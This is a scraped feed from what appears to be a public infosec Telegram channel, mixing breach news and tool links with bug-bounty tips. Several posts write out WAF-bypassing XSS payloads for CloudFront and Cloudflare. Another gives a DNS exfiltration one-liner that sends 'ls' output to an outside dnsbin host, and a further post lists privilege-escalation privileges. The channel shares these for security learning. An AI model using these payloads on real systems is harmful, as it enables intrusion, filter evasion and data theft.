Information Security
@sec_nerd_en
414 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
414 subscribers
Information Security
Backup solution provider Veeam are notifying customers of a security breach of one of the customer databases #infosec #security

#news
#breach

@sec_nerd_en
42 views
Information Security
How does a #Bitcoin Transaction work? {Infographic}

#blockchain #fintech #BTC #CyberSecurity #DLT #innovation #cryptocurrency #infosec #disruption #Security #Crypto


@sec_nerd_en
47 views
Information Security
PowerShell Obfuscation Using SecureString https://bit.ly/2p2m0x5

#infosec #security #PowerShell #malware
39 views
Information Security
DbgShell - A PowerShell Front-End For The Windows Debugger Engine http://bit.ly/2O7c30o #infosec #hacking #hackers #pentesting #pentest #programming #opensource #powershell #Windows
40 views
Information Security
This media is not supported in your browser
VIEW IN TELEGRAM
So, what's your password?


#Cybersecurity #cyber #hack #hacking #Hacked #hacker #informationsecurity #infosec #informationtechnology #infowars #socialengineering #cybersecurityawareness #cyberawareness #digitalsecurity #password
67 views
Information Security
CloudFront ~`XSS´ payload, shake dice.
🎲


<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>

#BugBounty #BugBountyTip #WAF #infosec
133 views
Information Security
Forwarded from امنیت اطلاعات
cloudflare «XSS» payload to bypass protection.
🦍


{` <body \< onscroll =1(_=prompt,_(String.fromCharCode(88,83,83,32,66,121,32,77,111,114,112,104,105,110,101)))> ´}

#BugBounty #BugBountyTip #WAF #infosec

@sec_nerd
10 views
Information Security
https://twitter.com/spyerror/status/1190845842623811587
Twitter
/𝒅𝒆𝒗/𝒏𝒖𝒍𝒍 台風
cloudflare {`XSS´} «byPASS» payloads. @spyerror🎯🥇$cat /<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert`1`;> 🥈$cat /<svg%0Aonauxclick=0;[1].some(confirm)// #BugBounty #BugBountyTip #WAF #infosec
118 views
Information Security
How I hacked 92k+ users Information using open s3 bucket


https://link.medium.com/R4um5AuO21


#bugbounty #infosec #SRT #security #Databreach #Synack #hackerone #bugcrowd #whitehat #hacked #securityengineer #databreach
Medium
How I hacked 92k users Information using open s3 bucket
First of all this is my biggest hack I did in my life.The website I found few day ago while I am looking for bus ticket.After booking Bus…
141 viewsedited  
Information Security
https://twitter.com/spyerror/status/1223207517624373248?s=20
Twitter
/𝒅𝒆𝒗/𝒏𝒖𝒍𝒍 台風
»_ everything is not as it seems. 🎃 «input»; p=-alert(1)}//\ $result* var n = {a: "-alert(1)}//\", b: "-alert(1)}//\"}; «input»; p=\&q=-alert(1)// $result* var n = {a: "\", b: "-alert(1)}//"}; #BugBounty #BugBountyTip #WAF #infosec
117 views
Information Security
Hacking SQL Server Stored Procedures

1: (un)Trustworthy Databases
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/

2: User Impersonation
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/

3: SQL Injection
https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/

4: Enumerating Domain Accounts
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/

#infosec #pentest #redteam
NetSPI
Hacking SQL Server Stored Procedures – Part 1: (un)Trustworthy Databases
In this blog I’ll show how database users commonly created for web applications can be used to escalate privileges in SQL Server when database ownership is poorly configured.
154 views
Information Security
CSV Injection: http://ghostlulz.com/csv-injection/

ClickJacking: http://ghostlulz.com/clickjacking/

Exposed Firebase DB: http://ghostlulz.com/google-exposed-firebase-database/

Config Files: http://ghostlulz.com/exposed-log-and-configuration-files/

Kubernetes API : http://ghostlulz.com/exposed-kubernetes-api/

#bugbounty #bugbountytips #bugbountytip #redteam #pentest #infosec #xss
Ghostlulz
CSV Injection - Ghostlulz
How to use CSV injection AKA Formula injection to embed a malicous payload into to spread sheet.
120 views
Information Security
No Privilege Escalating through standard methods ?

whoami /priv

If you got one of these == win 😏


SeBackupPrivilege, SeDebugPrivilege, SeTakeOwnershipPrivilege, SeTcbPrivilege, SeCreateToken Privilege, SeLoadDriver Privilege, SeImpersonate

#infosec #pentest #redteam
106 views
Information Security
https://twitter.com/omespino/status/1240139236067758082
Twitter
Omar Espino •
[ 07/30] #bashtricks (g)old - RCE via DNS based data exfiltration even is there is a firewall blocking 80 & 443 ports, works on port 53 & most times is open go to dnsbin.zhack.ca execute a simple 'ls' for i in $(ls);do host $i.96a755.d.zhack.ca;done #Bugbounty…
114 views